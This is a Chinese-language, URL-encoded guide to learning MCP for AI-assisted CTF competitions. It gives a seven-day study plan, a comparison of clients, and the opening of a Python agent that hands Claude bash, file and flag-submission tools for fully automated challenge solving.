📺%20YouTube教程:
搜索%20"MCP%20Claude%20tutorial"%20/%20"Model%20Context%20Protocol"

📝%20博客文章:
-%20Anthropic官方博客
-%20Simon%20Willison's博客(MCP深度分析)

中文资源(如果有):

问AI:
"请帮我找MCP(Model%20Context%20Protocol)的中文学习资源:
-%20中文教程
-%20B站视频
-%20知乎/CSDN文章
-%20微信公众号推荐"
7天速成计划(理想情况)
Day%201:概念理解
-%20阅读官方文档Introduction
-%20理解MCP架构(客户端-服务器-AI)
-%20看一个完整的Demo视频

Day%202:环境搭建
-%20安装Claude%20Desktop%20/%20Cursor
-%20配置第一个MCP服务器(文件系统)
-%20测试基本交互

Day%203:实战练习
-%20使用MCP读取本地文件
-%20让AI执行简单命令
-%20理解配置文件结构

Day%204:工具集成
-%20配置GitHub%20MCP服务器
-%20配置Puppeteer(浏览器控制)
-%20理解多服务器协同

Day%205:CTF场景应用
-%20配置CTF相关工具(binwalk/strings)
-%20让AI自动分析题目附件
-%20测试解题自动化

Day%206:安全加固
-%20在虚拟机/Docker中运行
-%20配置权限限制
-%20测试危险命令拦截

Day%207:综合实战
-%20搭建完整的自动化解题环境
-%20用真实CTF题目测试
-%20优化工作流

⚠️%20现实情况:
这个计划很理想,实际可能需要2-3周
中间会遇到各种Bug和配置问题
建议边学边问AI,不要死磕
为什么本指南不详细展开
❌%2024小时内无法掌握MCP的原因:

1.%20配置复杂度高
&nbsp;%20&nbsp;-%20需要安装多个组件
&nbsp;%20&nbsp;-%20配置文件语法严格
&nbsp;%20&nbsp;-%20调试困难,报错不友好

2.%20前置知识要求高
&nbsp;%20&nbsp;-%20Docker/API/JSON等概念
&nbsp;%20&nbsp;-%20需要理解系统架构
&nbsp;%20&nbsp;-%20不是"复制粘贴"就能用

3.%20稳定性和兼容性问题
&nbsp;%20&nbsp;-%20协议还在快速迭代
&nbsp;%20&nbsp;-%20不同平台配置差异大
&nbsp;%20&nbsp;-%20可能遇到各种奇怪Bug

4.%20性价比考量
&nbsp;%20&nbsp;-%20对于新手,普通AI对话已经够用
&nbsp;%20&nbsp;-%20MCP的优势在自动化,新手先学基础
&nbsp;%20&nbsp;-%20投入时间%20vs%20比赛收益不成正比

5.%20安全风险
&nbsp;%20&nbsp;-%20AI执行命令可能误删文件
&nbsp;%20&nbsp;-%20需要在隔离环境测试
&nbsp;%20&nbsp;-%20新手容易配错权限

✅%20本指南的定位:
-%20让你知道MCP存在
-%20理解它能做什么
-%20给出学习方向
-%20但不期望24小时内掌握

✅%20推荐学习时机:
-%20完成3-5场CTF比赛后
-%20熟练使用普通AI辅助解题
-%20有明确的自动化需求
-%20有时间深入学习(至少1周)
MCP基础配置指南 环境选择:Claude%20Desktop%20vs%20Cursor%20vs%20Claude%20CLI
方案对比:

【Claude%20Desktop】(最简单)
-%20官方应用,配置最友好
-%20图形界面,适合新手
-%20支持的MCP服务器最多
-%20下载:https://claude.ai/download

【Cursor】(编程友好)
-%20IDE环境,适合写代码
-%20内置Claude,支持MCP
-%20适合CTF脚本开发
-%20下载:https://cursor.com

【Claude%20CLI】(终端高手)
-%20命令行工具,极客最爱
-%20适合自动化脚本
-%20配置最灵活
-%20需要配置API%20Key
纯AI自动化比赛场景(如腾讯黑客松) 什么是”纯AI比赛”?
规则特点:
❌%20不允许人工干预
✅%20AI从头到尾自主解题
✅%20AI自己下载题目
✅%20AI自己分析附件
✅%20AI自己编写脚本
✅%20AI自己提交flag

代表赛事:
-%20腾讯黑客松(AI赛道)
-%20各类"AI%20CTF"比赛
-%20未来可能成为主流形式

技术架构:
AI%20Agent%20+%20MCP%20+%20工具链%20+%20自动化脚本
完整自动化工作流设计

架构图:

┌─────────────────────────────────────────┐
│%20&nbsp;Claude%20API%20/%20GPT-4%20API%20/%20本地模型%20&nbsp;%20&nbsp;%20&nbsp;%20│
│%20&nbsp;(大脑:决策和规划)%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20│
└──────────────┬──────────────────────────┘
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;│
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;▼
┌─────────────────────────────────────────┐
│%20&nbsp;MCP%20Hub(协调中心)%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20│
│%20&nbsp;-%20接收AI指令%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;│
│%20&nbsp;-%20调度工具执行%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;│
│%20&nbsp;-%20汇总结果返回%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;│
└──────────────┬──────────────────────────┘
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;│
&nbsp;%20&nbsp;%20┌──────────┴───────────┬──────────┐
&nbsp;%20&nbsp;%20▼%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;▼%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;▼
┌────────┐%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20┌────────────┐%20&nbsp;┌──────┐
│题目下载%20│%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20│%20分析工具%20&nbsp;%20&nbsp;│%20&nbsp;│提交%20&nbsp;%20&nbsp;│
│%20&nbsp;MCP%20&nbsp;%20│%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20│%20&nbsp;%20集合%20&nbsp;%20&nbsp;%20&nbsp;│%20&nbsp;│%20MCP%20&nbsp;│
└────────┘%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20└────────────┘%20&nbsp;└──────┘
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20│
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20┌─────────────────┼─────────────────┐
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20▼%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20▼%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20▼
&nbsp;%20&nbsp;%20┌──────┐%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20┌──────┐%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20┌──────┐
&nbsp;%20&nbsp;%20│binwalk│%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;│Ghidra│%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20│pwntools│
&nbsp;%20&nbsp;%20└──────┘%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20└──────┘%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20└──────┘

完整自动化脚本示例:

#!/usr/bin/env%20python3
"""
CTF全自动解题Agent
适用于纯AI比赛(如腾讯黑客松)
"""

import&nbsp;anthropic
import&nbsp;os
import&nbsp;json
import&nbsp;subprocess
from&nbsp;pathlib&nbsp;import&nbsp;Path

class&nbsp;CTFAutoAgent:
&nbsp;%20&nbsp;%20def&nbsp;__init__(self,%20api_key,%20competition_url,%20workspace="/tmp/ctf_auto"):
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"""
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20初始化自动化Agent

&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20Args:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20api_key:%20Claude%20API密钥
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20competition_url:%20比赛平台URL
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20workspace:%20工作目录
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"""
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20self.client%20=%20anthropic.Anthropic(api_key=api_key)
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20self.competition_url%20=%20competition_url
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20self.workspace%20=%20Path(workspace)
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20self.workspace.mkdir(exist_ok=True)

&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20MCP工具配置
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20self.tools%20=&nbsp;self._setup_tools()

&nbsp;%20&nbsp;%20def&nbsp;_setup_tools(self):
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"""配置MCP工具集"""
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20return&nbsp;[
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"name":&nbsp;"bash",
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"description":&nbsp;"执行bash命令,返回输出",
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"input_schema":%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"type":&nbsp;"object",
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"properties":%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"command":%20{"type":&nbsp;"string",&nbsp;"description":&nbsp;"要执行的命令"}
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20},
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"required":%20["command"]
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20},
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"name":&nbsp;"read_file",
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"description":&nbsp;"读取文件内容",
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"input_schema":%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"type":&nbsp;"object",
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"properties":%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"path":%20{"type":&nbsp;"string",&nbsp;"description":&nbsp;"文件路径"}
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20},
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"required":%20["path"]
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20},
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"name":&nbsp;"write_file",
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"description":&nbsp;"写入文件",
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"input_schema":%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"type":&nbsp;"object",
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"properties":%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"path":%20{"type":&nbsp;"string"},
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"content":%20{"type":&nbsp;"string"}
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20},
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"required":%20["path",&nbsp;"content"]
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20},
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"name":&nbsp;"submit_flag",
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"description":&nbsp;"提交flag到比赛平台",
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"input_schema":%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"type":&nbsp;"object",
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"properties":%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"challenge_id":%20{"type":&nbsp;"string"},
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"flag":%20{"type":&nbsp;"string"}
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20},
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"required":%20["challenge_id",&nbsp;"flag"]
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20]

&nbsp;%20&nbsp;%20def&nbsp;execute_tool(self,%20tool_name,%20tool_input):
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"""执行工具调用"""
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20if&nbsp;tool_name%20==&nbsp;"bash":
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20result%20=%20subprocess.run(
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20tool_input["command"],
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20shell=True,
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20capture_output=True,
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20text=True,
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20cwd=self.workspace,
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20timeout=300&nbsp;%20#%205分钟超时
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20)
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20return&nbsp;{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"stdout":%20result.stdout,
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"stderr":%20result.stderr,
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"returncode":%20result.returncode
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}

&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20elif&nbsp;tool_name%20==&nbsp;"read_file":
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20path%20=&nbsp;self.workspace%20/%20tool_input["path"]
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20with&nbsp;open(path,&nbsp;'r')&nbsp;as&nbsp;f:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20return&nbsp;{"content":%20f.read()}

&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20elif&nbsp;tool_name%20==&nbsp;"write_file":
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20path%20=&nbsp;self.workspace%20/%20tool_input["path"]
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20path.parent.mkdir(parents=True,%20exist_ok=True)
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20with&nbsp;open(path,&nbsp;'w')&nbsp;as&nbsp;f:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20f.write(tool_input["content"])
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20return&nbsp;{"success":&nbsp;True}

&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20elif&nbsp;tool_name%20==&nbsp;"submit_flag":
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20调用比赛平台API提交
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20return&nbsp;self._submit_to_platform(
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20tool_input["challenge_id"],
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20tool_input["flag"]
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20)

&nbsp;%20&nbsp;%20def&nbsp;solve_challenge(self,%20challenge_info):
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"""
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20完全自动化解题流程

&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20Args:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20challenge_info:%20题目信息(名称、分类、描述、附件URL等)
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"""
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20print(f"[*]%20开始解题:&nbsp;{challenge_info['name']}")

&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20初始提示词
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20initial_prompt%20=&nbsp;f"""
你是一个CTF自动化解题Agent。现在需要解决以下题目:

题目名称:{challenge_info['name']}
分类:{challenge_info['category']}
描述:{challenge_info['description']}
附件:{challenge_info.get('files',%20[])}

你的任务:
1.%20下载并分析附件
2.%20识别题目类型和漏洞
3.%20编写解题脚本
4.%20获取flag并提交

你可以使用以下工具:
-%20bash:%20执行任何命令(binwalk/strings/file等)
-%20read_file:%20读取文件
-%20write_file:%20创建脚本
-%20submit_flag:%20提交答案

工作目录:{self.workspace}

请开始解题,一步步思考并使用工具。
"""

&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20messages%20=%20[{"role":&nbsp;"user",&nbsp;"content":%20initial_prompt}]

&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20迭代对话,直到提交flag或达到最大轮次
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20max_turns%20=&nbsp;20
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20for&nbsp;turn&nbsp;in&nbsp;range(max_turns):
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20print(f"\n[Turn&nbsp;{turn+1}/{max_turns}]")

&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20调用Claude
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20response%20=&nbsp;self.client.messages.create(
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20model="claude-sonnet-4-20250514",
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20max_tokens=4096,
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20tools=self.tools,
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20messages=messages
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20)

&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20处理响应
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20if&nbsp;response.stop_reason%20==&nbsp;"end_turn":
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20print("[!]%20AI认为任务完成")
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20break

&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20elif&nbsp;response.stop_reason%20==&nbsp;"tool_use":
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20AI要求使用工具
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20for&nbsp;content&nbsp;in&nbsp;response.content:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20if&nbsp;content.type&nbsp;==&nbsp;"tool_use":
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20tool_name%20=%20content.name
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20tool_input%20=%20content.input

&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20print(f"[Tool]&nbsp;{tool_name}:&nbsp;{tool_input}")

&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20执行工具
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20try:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20tool_result%20=&nbsp;self.execute_tool(tool_name,%20tool_input)
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20print(f"[Result]&nbsp;{tool_result}")

&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20将结果返回给AI
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20messages.append({"role":&nbsp;"assistant",&nbsp;"content":%20response.content})
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20messages.append({
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"role":&nbsp;"user",
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"content":%20[{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"type":&nbsp;"tool_result",
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"tool_use_id":%20content.id,
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"content":%20json.dumps(tool_result)
